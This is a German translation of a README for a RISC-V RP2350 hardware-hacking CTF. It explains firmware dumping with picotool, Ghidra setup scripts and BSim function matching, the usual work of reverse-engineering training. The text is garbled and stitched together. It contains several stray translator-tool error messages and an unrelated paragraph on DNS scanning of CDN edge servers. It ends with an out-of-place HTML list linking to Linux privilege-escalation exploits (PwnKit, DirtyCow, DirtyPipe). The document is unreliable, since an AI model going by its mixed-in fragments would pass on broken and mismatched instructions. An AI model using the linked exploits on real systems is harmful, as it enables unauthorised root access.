therealdreg/hcon2026hwctfHardware Hacking CTF hcon2026hwctf - RISCV Hazard3 (@Wren6991) Exploiting von @b1n4ri0 @antoniovazquezblanco & @therealdreg
Wenn du dich für Hardware-CTFs interessierst, hier ist die erste öffentliche Challenge vom HC0N CTF 2026 mit RISC-V RP2350 Exploitation-Challenges (Low Level)
Wir haben versucht, die Challenge nicht zu elitär oder schwierig zu gestalten, damit Hunderte von Konferenzteilnehmern eine Chance haben, die Challenges zu lösen. Ich hoffe, das ist uns gelungen.
Wenn du den CTF zu Hause ausführen möchtest, schnapp dir ein Raspberry Pi Pico 2, flashe diese Firmware und lies nicht die Write-ups! -> ctf.uf2
Hinweis für alle, die ein anderes Board (RP2350/RP2354...) als das des CTF verwenden:
Das CTF-PCB hat eine SMD-LED auf GPIO 25, du musst eine LED auf diesem GPIO haben
Wenn du diesen CTF beendet hast und er dir gefallen hat, hier ist ein weiterer ähnlicher mit anderen Challenges: https://github.com/therealdreg/ctfhardwarehackingcon2026
WARNUNG: Die folgenden Write-ups enthalten Spoiler für die Challenges. Wenn du sie selbst lösen möchtest, empfehlen wir, sie nicht zu lesen, bis du den CTF abgeschlossen hast.
Erster Gewinner: @mrexodia (Duncan Ogilvie) writeups/first_winner.md
Preis: okhi Hardware-Keylogger USB/PS2-Kit + CWP (Certified WifiChallenge Professional) https://github.com/therealdreg/okhi
Zweiter Gewinner: @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md
Preis: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP (Certified WifiChallenge Professional)
Dritter Gewinner: @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md
Preis: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP (Certified WifiChallenge Professional).
Hier geben wir dir einige Hilfestellungen, um den Hardware-Hacking-CTF auf der HCON 2026 einfacher zu machen.
Linux als Host sollte deine erste Wahl sein ;-), Debugging funktioniert besser.
TeraTerm: Setup -> Terminal -> Transmit: CR+LF & [x] Local echo
Andere:
cutecom:``` sudo apt-get update sudo apt-get install cutecom
# WARNUNG
Eine der Herausforderungen erfordert Hardware-Debugging. Wenn du die Herausforderung von zu Hause aus durchführst (ohne ein Teammitglied, das ein anderes Board hat), musst du zur Lösung dieser Herausforderung zusätzlich diese beiden Artikel kaufen. (Wenn du sie nicht kaufst, kein Problem – aber du wirst diese spezielle Herausforderung nicht lösen können.)
- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html
# Über die Skripte
Die in diesem Repository enthaltenen Werkzeuge wurden von @b1n4ri0 für die Community und speziell für die 2026 HCON Hardware Hacking Challenge entwickelt.
# Ausnutzen des RP2350 RISCV Hazard3 (@Wren6991) 3-Stufen-RV32IMACZb*-Prozessors mit Debug
RISCV Hazard3 ist ein 3-Stufen-RV32IMACZb*-Prozessor mit Debug-Unterstützung. Er wird im RP2350-Mikrocontroller verwendet, der auf dem HCON2026HWCTF-Board zu finden ist.
# Dumpen der RISCV Hazard3-Firmware mit picotool
Das Dumpen von Firmware von RP2350-Geräten mit `picotool` ist ein unkomplizierter Prozess. In diesem Abschnitt lernst du, wie du es effektiv machst.
Hinweis: `picotool` interagiert mit RP2350- (und RP2040-)Geräten nur, wenn sie sich im BOOTSEL-Modus befinden oder wenn die laufende Firmware USB-stdio-Unterstützung aus dem Pico SDK enthält.
## picotool bauen
Installiere die notwendigen Build-Werkzeuge und Bibliotheken über deinen bevorzugten Paketmanager.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y
Erstellen Sie ein dediziertes Verzeichnis, um Ihre Tools organisiert zu halten. Dies stellt sicher, dass die in späteren Schritten verwendeten Pfade korrekt sind.```bash cd $HOME mkdir rptools cd rptools
Klone die Projekte `picotool` und `pico-sdk`, wir benötigen sowohl das Tool selbst als auch das SDK. Beachte, dass `picotool` das `pico-sdk` benötigt, um korrekt zu kompilieren.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool
Create the build directory and run CMake.
Important: We must use the -DPICO_SDK_PATH flag to tell CMake exactly where we downloaded the SDK in the previous step or we can set the PICO_SDK_PATH in the enviroment.
Erstelle das Build-Verzeichnis und führe CMake aus.
Wichtig: Wir müssen das -DPICO_SDK_PATH-Flag verwenden, um CMake genau mitzuteilen, wo wir das SDK im vorherigen Schritt heruntergeladen haben, oder wir können PICO_SDK_PATH in der Umgebung setzen.```bash
mkdir build
cd build
cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk ..
sudo make install
Standardmäßig sind für den Zugriff auf USB-Geräte Root-Rechte erforderlich. Kopieren Sie die udev-Regeldatei, damit `picotool` ohne `sudo` ausgeführt werden kann.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/
Laden Sie die udev-Regeln neu (oder ziehen Sie das Gerät ab und stecken Sie es wieder ein) und prüfen Sie die Version mit picotool version, um sicherzustellen, dass alles funktioniert:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)
## Verwendung der vorgefertigten Binärdatei
Wenn Sie den Build-Prozess überspringen möchten, können Sie die vorkompilierte Binärdatei aus dem [offiziellen Repository](https://github.com/raspberrypi/pico-sdk-tools/releases) herunterladen.```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool
Das Ausführen von picotool version sollte wie erwartet funktionieren:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)
## BOOTSEL-Modus auf RP2350 aktivieren
Um Vorgänge wie das Auslesen der Firmware durchzuführen, benötigt `picotool` das Gerät im BOOTSEL-Modus. Allerdings kann `picotool` auch mit dem Gerät interagieren, wenn die aktuell ausgeführte Firmware USB-Stdio-Unterstützung aus dem Pico SDK enthält.
Im Folgenden nenne ich mehrere Möglichkeiten, diesen Modus zu aktivieren. Wähle diejenige, die für deinen Fall am besten geeignet erscheint, oder einfach die, die für dich funktioniert.
Wenn dein Board **nicht im BOOTSEL-Modus ist**, aber die USB-Stdio-Unterstützung enthält**,** wirst du bei der Ausführung von `picotool`-Befehlen eine Ausgabe wie diese sehen:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.
but:
RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.
Dies ist die standardmäßig verwendete Hardware-Methode:
BOOTSEL- oder BOOT-Taste gedrückt.BOOTSEL-Taste los.Alternative (wenn du das Board nicht abstecken möchtest):
BOOTSEL-Taste gedrückt.RESET- oder RST-Taste los.BOOTSEL los.Nun solltest du picotool-Befehle ausführen können:```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
### Software, die BOOTSEL aktiviert
Wenn die Geräte-Firmware läuft und USB-stdio-Unterstützung bietet, können Sie es in den BOOTSEL-Modus zwingen, ohne das Board zu berühren.```bash
./picotool reboot -uf
Der Befehl verwendet das Flag -u, um anzugeben, dass wir speziell in den BOOTSEL-Modus neu starten möchten. Da das Gerät jedoch derzeit Benutzercode ausführt, wird picotool dies standardmäßig ignorieren. Daher müssen wir das Flag -f anhängen, um die laufende Anwendung zu zwingen, den Reset-Befehl zu akzeptieren.
Ohne -f würde der Vorgang einfach fehlschlagen, da das Tool erwartet, dass sich das Gerät bereits im BOOTSEL-Modus befindet.```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
**Tipp:** Sie können Befehle direkt auf einem laufenden Gerät ausführen, ohne zuvor manuell neu zu starten, indem Sie Ihrem Befehl das Flag `-f` anhängen. `picotool` übernimmt den Neustart, führt den Befehl aus und startet danach zurück zur Anwendung.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
The device was asked to reboot back into application mode.
Für diese CTF-Challenge können wir die Firmware direkt extrahieren, ohne in den BOOTSEL-Modus zu wechseln.
Ich empfehle, Informationen über das laufende Programm zu sammeln. Du kannst dies mit dem Befehl info tun, der standardmäßig den Abschnitt „Program Information“ anzeigt. Da das Gerät derzeit Code ausführt, fügen wir das Flag -f hinzu, um die Verbindung zu erzwingen.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V
The device was asked to reboot back into application mode.
Diese Ausgabe zeigt wesentliche Details wie den Programmnamen, seinen Speicherbereich und die Image-Architektur.
Nun fahren wir fort, das Programm zu extrahieren, und erstellen ein Verzeichnis, um die extrahierten Dateien zu speichern.```bash
mkdir -p $HOME/hcon2026hwctf/
Führen Sie den folgenden Befehl aus, um die Firmware zu extrahieren:```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Dieser einzelne Befehl übernimmt den gesamten Extraktionsprozess. Er erzwingt einen Neustart des RP2350 in den BOOTSEL-Modus, liest das aktuell installierte Programm aus dem Flash-Speicher und speichert es als rohe Binärdatei. Um sicherzustellen, dass die Extraktion korrekt war, liest er die Daten erneut ein, um zu verifizieren, dass die Dump-Datei exakt mit dem Inhalt auf dem Chip übereinstimmt.
Sie sollten eine Ausgabe wie diese erhalten:```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Saving file: [==============================] 100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash: [==============================] 100%
OK
The device was asked to reboot back into application mode.
Und das war's – du hast das Programm erfolgreich ausgelesen!
Hinweis: Denke daran, dass du nur das installierte Programm extrahiert hast, nicht den gesamten Inhalt des Flash-Speichers.
Wenn Fehler auftreten, überprüfe, ob das Gerät ordnungsgemäß angeschlossen ist. Wenn der automatische Neustart fehlschlägt, wechsle manuell in den BOOTSEL-Modus und führe den Befehl erneut ohne die Option -f aus. Weitere Informationen zu den verfügbaren Optionen erhältst du mit picotool help <command>.
Nachdem die RP2350-Firmware extrahiert wurde, ist der nächste logische Schritt das Reverse Engineering. Für diese Aufgabe empfehlen wir Ghidra. Es sind jedoch einige Anpassungen erforderlich, um eine genaue Analyse zu gewährleisten.
Wenn du die Binärdatei lädst und versuchst, sie zu disassemblieren, wirst du wahrscheinlich auf unvollständige Funktionen oder visuell beschädigten Code stoßen. Das bedeutet nicht, dass deine Extraktion fehlgeschlagen ist. Das Problem liegt darin, dass Ghidra (einschließlich Version 12.0.2) bestimmte für dieses SoC spezifische Anweisungen nicht nativ interpretieren kann.
Der technische Grund ist, dass Ghidra die RISC-V C (Compressed) und B (Bit-Manipulation) Erweiterungen auf Grundlage eines vorläufigen Entwurfs (v0.92) implementiert. Im Gegensatz dazu implementiert die in der RP2350 verwendete Hazard3-CPU die ratifizierte Version v1.0.0. Infolgedessen sind viele moderne Anweisungen Ghidra entweder unbekannt oder haben sich seit den früheren Definitionen geändert.
Detaillierte Informationen zu den von Hazard3 unterstützten Anweisungen findest du in der offiziellen Dokumentation: wren.wtf/hazard3/doc/
Um diesen Konflikt zu lösen und eine korrekte Disassemblierung zu erreichen, musst du die Prozessordefinitionen von Ghidra auf die ratifizierte Spezifikation v1.0.0 aktualisieren.
Lokaliere zuerst deinen Ghidra-Installationspfad (z. B. ~/ghidra_12.0_PUBLIC). Navigiere zum RISC-V-Prozessorverzeichnis und benenne den vorhandenen Ordner data als Sicherungskopie um:```bash
export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC
cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV
mv data data_back
Klonen Sie als Nächstes das Repository mit den aktualisierten Instruktionsdefinitionen und verschieben Sie den neuen `data`-Ordner in Ihre Ghidra-Installation:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git
cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/
Mit den korrigierten Prozessordefinitionen führen Sie die folgenden Schritte aus, um die Binärdatei korrekt zu laden:
PyGhidra.Non-Shared Project (z. B. hwctf2026).Active Project.Language.RISCV ein und wählen Sie: RISCV:LE:32:default:gcc (RISCV default 32 little gcc).Ok.CodeBrowser zu öffnen.No.Sobald die Binärdatei mit den korrekten Prozessordefinitionen geladen ist, kann Ghidra die Opcodes präzise disassemblieren. Es ist jedoch wichtig zu beachten, dass wir es in der Regel mit rohen .bin-Dateien zu tun haben. Diese Dateien enthalten von Natur aus keine Symboltabellen oder Metadaten, die die Analyse erleichtern.
Die Menge der wiederherstellbaren Informationen hängt vollständig von der Herkunft der Binärdatei ab. In diesem Fall ist unser Ziel eine RP2350-Firmware, die mit pico-sdk v2.2.0 kompiliert wurde. Das bietet einen erheblichen Vorteil, da das offizielle SDK verwendet wird und die Binärdatei möglicherweise mit picotool kompatibel ist. Dieses Tool ermöglicht es uns, Metadaten zu identifizieren und zu extrahieren, sofern die Binärdatei noch die erforderlichen Header enthält, die picotool zum Parsen benötigt.
Standardmäßig kann Ghidra das Speicherlayout nicht ohne manuelles Eingreifen interpretieren. Der Versuch, die Firmware ohne eine korrekte Speicherkarte zu analysieren, führt zu schlechten Ergebnissen und zahlreichen Fehlern. Dies liegt an der Architektur von Ghidra, die einen expliziten Kontext zur Auflösung von Referenzen erfordert.
In diesem speziellen Szenario ist das Programm für die Ausführung aus dem SRAM kompiliert. Das bedeutet, dass die Firmware aktive Referenzen auf zwei verschiedene Speicherbereiche mit unterschiedlichen Basisadressen enthält. Ohne eine korrekte Konfiguration fällt es Ghidra schwer, dem Disassemblierungsfluss über diese Bereiche hinweg zu folgen, was den Reverse-Engineering-Prozess erheblich erschwert.
Um die Einrichtung zu vereinfachen und Konsistenz zu gewährleisten, habe ich ein Skript entwickelt, das die Speicherzuordnung und die Umgebungskonfiguration automatisiert. Diese Automatisierung vereinfacht zwar die ersten Schritte, dennoch wird dringend empfohlen, den Quellcode des Skripts oder die README des Repositorys zu überprüfen, um die zugrunde liegende Logik des Analyse-Workflows zu verstehen. Für ein tieferes technisches Verständnis des Speicherlayouts und der Peripheriezuordnung sollten Sie außerdem das offizielle RP2350-Datenblatt konsultieren.
Sowohl das Ghidra RP2350 Setup Tool als auch der SVD Loader für PyGhidra wurden direkt in dieses Repository aufgenommen. Die folgenden Abschnitte enthalten detaillierte Anweisungen zur Installation und effektiven Nutzung dieser Werkzeuge.
Das Skript hcon26_rp2350-ctf_auto_setup.py wurde entwickelt, um die anfängliche Konfiguration und die statische Analyseumgebung für Firmware zu automatisieren, die auf den Raspberry Pi RP2350 (RISC-V Hazard3-Kern) abzielt. Dieses Werkzeug wurde speziell zur Unterstützung der Reverse-Engineering-Aufgaben im Zusammenhang mit der H-Con 2026 Hardware Hacking Challenge entwickelt.
Rohe Binärfirmware enthält von Natur aus nicht die Datei-Header und Symboltabellen, die für das automatische Laden erforderlich sind. Dies zwingt Analysten dazu, Speicherkarten, Einstiegspunkte und Prozessorzustände manuell zu konfigurieren, bevor irgendein Code lesbar wird. Dieses Werkzeug automatisiert den gesamten Prozess und bereitet die Binärdatei sofort für das Reverse Engineering vor.
Dieses Skript eliminiert den manuellen Einrichtungsaufwand, der normalerweise für die Analyse eingebetteter Firmware erforderlich ist. Durch die Automatisierung des Ladevorgangs wird ein konsistentes und funktionsfähiges Ghidra-Projekt gewährleistet, sodass sich die Teilnehmer sofort auf Schwachstellenforschung und Logikanalyse konzentrieren können, anstatt auf die Umgebungskonfiguration.
Automatisierte Umgebungskonfiguration: Richtet sofort das korrekte Speicherlayout für den RP2350 ein, indem die Flash- (XIP) und SRAM-Bereiche mit den vom Dekompilierer benötigten entsprechenden Berechtigungen definiert werden.
Erkennung des Einstiegspunkts: Durchsucht die RP2350-spezifischen Header, um die tatsächliche Startadresse der Ausführung zu ermitteln, und behandelt dabei nicht standardmäßige Boot-Vektoren, die häufig in „On-RAM" kompilierten Binärdateien vorkommen.
Kontextauflösung: Initialisiert automatisch das Global-Pointer-gp-Register. Dadurch wird sichergestellt, dass Referenzen auf globale Variablen und statische Daten im Dekompilierer korrekt aufgelöst werden, anstatt als fehlerhafte Offsets zu erscheinen.
Rekonstruktion des Datensegments: Identifiziert und verschiebt initialisierte Abschnitte von Flash nach RAM und repliziert dabei den Bootvorgang. Dadurch wird sichergestellt, dass Zeichenkettenliterale und globale Variablen während der Analyse an ihren korrekten Speicherorten erscheinen.
Symbolwiederherstellung: Identifiziert heuristisch die Hauptanwendungslogik und die Laufzeit-Initialisierungssequenz, sodass der Analyst direkt zum Benutzercode springen kann, ohne den gesamten Bootloader manuell nachzuverfolgen.
con26_rp2350-ctf_auto_setup.py herunter.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Kopieren Sie die Skriptdatei in das `ghidra_scripts`-Verzeichnis Ihrer Ghidra-Installation.```bash
cd hcon2026hwctf/GhidraScripts
cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
Importieren Sie die Ziel-.bin-Datei in Ghidra (RV32).
Öffnen Sie die Datei im Code Browser.
Wenn Sie aufgefordert werden, die Datei zu analysieren, wählen Sie No.
Öffnen Sie den Skript-Manager über Window > Script Manager.
Suchen Sie nach hcon26_rp2350-ctf_auto_setup.py in der Kategorie RP2350.
Führen Sie das Skript aus und warten Sie in der Konsolenausgabe auf die Bestätigung des Abschlusses. Lesen Sie unbedingt die Informationen zu Next Steps, die in der Konsole angezeigt werden.
Führen Sie nach Abschluss des Setup-Skripts den RP2350 SVD Loader aus, um Hardware-Register und Peripheriegeräte zuzuordnen.
System View Description (SVD)-Dateien sind XML-basierte Dokumente, die eine detaillierte Beschreibung der Peripherieregister eines Mikrocontrollers enthalten. Sie definieren Speicheradressen, Register-Offsets, Bitfelder und Reset-Werte. Beim Reverse Engineering sind diese Dateien unerlässlich, um den rohen Speicherbereich einer Binärdatei in lesbare Peripherienamen zu übersetzen und anonyme Speicherzugriffe in identifizierte Hardware-Interaktionen umzuwandeln.
Dieses Skript ist ein SVD-Loader für den RP2350 (Pico 2), angepasst für PyGhidra. Es automatisiert die Erstellung von Speichersegmenten und Registerdefinitionen basierend auf den offiziellen SVD-Spezifikationen.
Diese Version wurde auf der Grundlage der bisherigen Arbeiten in den folgenden Repositories entwickelt:
Sie können auch https://github.com/antoniovazquezblanco/GhidraSVD verwenden, entwickelt von @antoniovazquezblanco
SVD-Loader-RP2350.py herunter.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Kopieren Sie die Skriptdatei in das Verzeichnis `ghidra_scripts` Ihrer Ghidra-Installation.```bash
cd hcon2026hwctf/GhidraScripts
cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
.bin-Datei in Ghidra.CodeBrowser.No.Window > Script Manager.RP2350 nach SVD-Loader-RP2350.py.A.
Die bereitgestellten Skripte erfordern eine funktionierende PyGhidra-Umgebung.
- **Abhängigkeiten installieren**```bash
pip install pyghidra cmsis-svd
## Fehlerbehebung: import cmsis-svd
Falls `SVD-Loader-RP2350.py` die Bibliothek `cmsis-svd` nicht finden kann, können Sie sie direkt im PyGhidra-Interpreter installieren:
1. Gehen Sie im **CodeBrowser** zu `Window > PyGhidra`.
2. Führen Sie den folgenden Codeausschnitt aus:```python
import subprocess as s
import sys
s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])
Nach der Konfiguration von Ghidra und dem Disassemblieren der Binärdatei besteht das nächste Ziel darin, die spezifischen Funktionen der Challenge von denen zu unterscheiden, die zum SDK gehören.
Normalerweise ist das Standardwerkzeug für diese Aufgabe Ghidra FID (Function ID). Der Arbeitsablauf besteht darin, SDK-Beispiele mit derselben Konfiguration wie die Zielbinärdatei zu kompilieren, um eine FIDB-Datenbank zu erzeugen. Dadurch kann Ghidra Funktionen automatisch identifizieren und benennen. Allerdings hat FID in diesem Fall eine deutlich niedrige Erkennungsrate.
Um diese Einschränkung zu überwinden, verwenden wir BSim. Obwohl es andere Alternativen wie Version Tracking oder Ghidriff gibt, sind diese in erster Linie für den Vergleich von Änderungen zwischen Versionen (Patch-Diffing) gedacht und für diesen speziellen Zweck nicht so effektiv.
Damit Ghidra Funktionen per Vergleich identifizieren kann, müssen wir zunächst eine Referenzdatenbank erzeugen, indem wir die pico-sdk-Beispiele kompilieren. Wenn Sie Zeit sparen möchten, können Sie sich auf die vier wesentlichen Binärdateien konzentrieren, die am Ende dieses Abschnitts erwähnt werden.
Klonen Sie das offizielle Beispielrepository:```bash git clone https://github.com/raspberrypi/pico-examples.git cd pico-examples mkdir build cd build
### Raspberry Pi Pico Erweiterung
Um diese Pfade zu verwenden, muss die Raspberry-Pi-Pico-VS-Code-Erweiterung installiert sein. Diese Verzeichnisstrukturen sind in der Umgebung der Erweiterung nativ vorhanden.
Sobald die Erweiterung installiert ist, konfigurieren Sie Ihr Projekt, indem Sie **Board-Typ: Pico 2** und **Architektur (pico2): RISC-V** auswählen. Das bloße Erstellen des Projekts mit diesen Einstellungen löst die Installation aller erforderlichen Ressourcen aus. Für diesen Fall ist keine zusätzliche Kompilierung erforderlich.
Wir werden eine spezifische Konfiguration für den RP2350 Hazard3 verwenden, um sicherzustellen, dass Symbole und Formatierung mit der Challenge-Binärdatei übereinstimmen.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"
No input content was provided to translate. Please supply chunk 61 of 179.```bash
cmake -DPICO_PLATFORM=rp2350-riscv
-DPICO_BOARD=pico2
-DPICO_COMPILER=pico_riscv_gcc
-DCMAKE_BUILD_TYPE=Debug
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram
-DPICO_STDIO_USB=1
-DPICO_STDIO_UART=0
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto"
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage"
..
The input chunk appears to be empty — no content was provided to translate. Please paste the actual Markdown chunk you'd like translated.```bash
make -j$(nproc) -k
Sobald die Kompilierung abgeschlossen ist, gruppieren Sie alle .elf-Dateien in einem dedizierten Verzeichnis, um die Analyse zu erleichtern:```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ ;
### Automatisierte Analyse mit Ghidra Headless
Um die große Menge an generierten Dateien zu verarbeiten, ist die Verwendung des Headless-Modus von Ghidra am effizientesten. Stellen Sie sicher, dass Sie die Analyse auf das Projekt ausrichten, in dem Sie die Challenge-Binary bereits konfiguriert haben:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
Wenn Sie die Analysezeit verkürzen möchten, verarbeiten Sie mindestens diese vier Dateien, die den Großteil der im Challenge vorhandenen SDK-Funktionen enthalten:
tinyusb_dev_cdc_msc.elfmulticore_runner_queue.elfhello_gpio_irq.elfhello_timer.elfWenn die traditionelle Signaturidentifikation (FID) nicht ausreicht, ist BSim die leistungsfähigste Alternative. Im Gegensatz zu anderen Methoden basiert BSim auf Codeverhalten und -struktur, ermöglicht architekturübergreifende Vergleiche und ignoriert Abweichungen, die durch Optimierungsstufen verursacht werden.
Obwohl die GUI verwendet werden kann, ist die Konfiguration über das Terminal effizienter für die Verarbeitung mehrerer Binärdateien.```bash cd $GHIDRA_INSTALL_DIR/support
Erstellen Sie die H2-Datenbankdatei:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
Extrahiere Signaturen aus den Binärdateien, die bereits im Ghidra-Projekt analysiert wurden:```bash mkdir ~/bsim_sigs ./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
Schließen Sie den Vorgang ab, indem Sie die generierten Signaturen in unsere Datenbank committen:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
Sobald die Datenbank erstellt ist, verknüpfen Sie sie mit dem Code Browser:
BSim > Manage Servers.grüne "+"-Symbol und wählen Sie den Typ File.Dismiss, um das Fenster zu schließen.Es gibt mehrere Möglichkeiten, nach Übereinstimmungen mit BSim zu suchen. Die folgende wird am meisten empfohlen:
BSim > Search functions.Similarity Threshold senken, um Funktionen zu finden, die während der Kompilierung leichte Variationen erfahren haben.Tipp: Wenn Sie sicher sind, dass eine Funktion korrekt ist, aber ihre internen („Kind-")Funktionen unbenannt bleiben, verwenden Sie das BSim-Ergebnisfenster:
Shift + C, um den Vergleich zu öffnen.Compare matching callees.Wenn die BSim-Option nicht Ihren Anforderungen entspricht, können Sie Version Tracking verwenden.
Suchen Sie im Hauptfenster von Ghidra das blaue Fußspuren-Symbol ganz rechts in der Tool Chest, um das Version-Tracking-Werkzeug zu öffnen.
blaue Fußspuren-Symbol im oberen linken Menü, um eine neue Sitzung zu erstellen.tinyusb_dev_cdc_msc).Finish.Es werden drei Fenster geöffnet: Source Tool, Destination Tool und die Version-Tracking-Konsole. Im Version-Tracking-Fenster:
grüne "+"-Symbol (Add additional correlations).Finish und warten Sie, bis der Prozess abgeschlossen ist. Im Allgemeinen liefern BSim-basierte Algorithmen die robustesten Ergebnisse.Sobald die Ergebnisse des Version Tracking vorliegen, gibt es zwei primäre Methoden, um Änderungen an der Challenge-Binärdatei anzuwenden:
Zur Umsetzung der zweiten Strategie ist es wichtig, die Ergebnisse zu filtern, um sich auf die stärksten Übereinstimmungen zu konzentrieren:
Filter den Begriff "Function" ein, um nur Funktionskorrelationen anzuzeigen.Um die Namen zu bestätigen und auf die Ziel-Binärdatei zu übertragen, verwenden Sie das grüne Häkchen-Symbol (zwischen dem Flaggen- und dem Disketten-Symbol).
Je nach Ihrem Analysestil können Sie zwischen zwei Ansätzen wählen:
main. Wenn Sie auf unbekannte Funktionen stoßen, verwenden Sie BSim, um sie zu identifizieren.Wählen Sie die Methode, die für Sie am besten funktioniert.
Weitere Informationen zu BSim:
sudo apt-get update sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
Der Eingabetext für diesen Chunk ist leer – es wurde kein Inhalt zum Übersetzen bereitgestellt. Bitte sende den Chunk erneut.```
cd /home/dreg
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin
Standardmäßig kann der Scanmodus "accurate" durch Ändern des Parameters
Modein der DNS-Einstellungskonfigurationsdatei überschrieben werden. Im accurate-Scanmodus sendet der Scanner einen Satz DNS-Abfragen parallel, um die RTT (Round-Trip-Zeit) zu verfolgen und verschiedene DNS-Abfragetypen auf verschiedenen DNS-Resolvern vorherzusagen, um mehr öffentlich erreichbare Frontend-Edge-Server hinter einem CDN zu lokalisieren. Im fast-Scanmodus werden weniger DNS-Abfragen gesendet, und der Scanner kann nicht so viele Edge-IPs lokalisieren, aber die Scangeschwindigkeit erhöht sich rapide (~2–4 Sekunden pro Domain).``` cd /home/dreg/RISCV git clone https://github.com/riscv/riscv-pk git clone https://github.com/riscv/riscv-isa-sim git clone --recursive https://github.com/riscv/riscv-gnu-toolchain
I notice the input content is empty — no text was provided after "INPUT:". There is no content to translate. Please provide the actual chunk text so I can translate it into German.```
cd /home/dreg/RISCV/riscv-gnu-toolchain
mkdir build
cd build
../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32
make
Kein Eingabetext vorhanden – bitte den Inhalt von Chunk 85 bereitstellen, damit ich ihn übersetzen kann.``` cd /home/dreg/RISCV/riscv-pk mkdir build cd build ../configure --prefix=$RISCV --host=riscv32-unknown-elf make make install
<!-- wp:paragraph -->
<p></p>
<!-- /wp:paragraph -->
<!-- wp:list -->
<ul><!-- wp:list-item -->
<li><strong><a href="https://github.com/ly4k/PwnKit">PwnKit</a></strong> - Selbst-Berechtigungseskalation-Schwachstelle in Polkit's pkexec (<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-4034">CVE-2021-4034</a>)</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li><strong><a href="https://github.com/firefart/dirtycow">DirtyCow</a></strong> - Schreibe in schreibgeschützte Speicherzuordnungen (<a href="https://nvd.nist.gov/vuln/detail/CVE-2016-5195">CVE-2016-5195</a>)</li>
<!-- /wp:list-item -->
<!-- wp:list-item -->
<li><strong><a href="https://github.com/joe-desmond/dirtypipez">DirtyPipe</a></strong> - Überschreibe schreibgeschützte Dateien (<a href="https://nvd.nist.gov/vuln/detail/CVE-2022-0847">CVE-2022-0847</a>)</li>
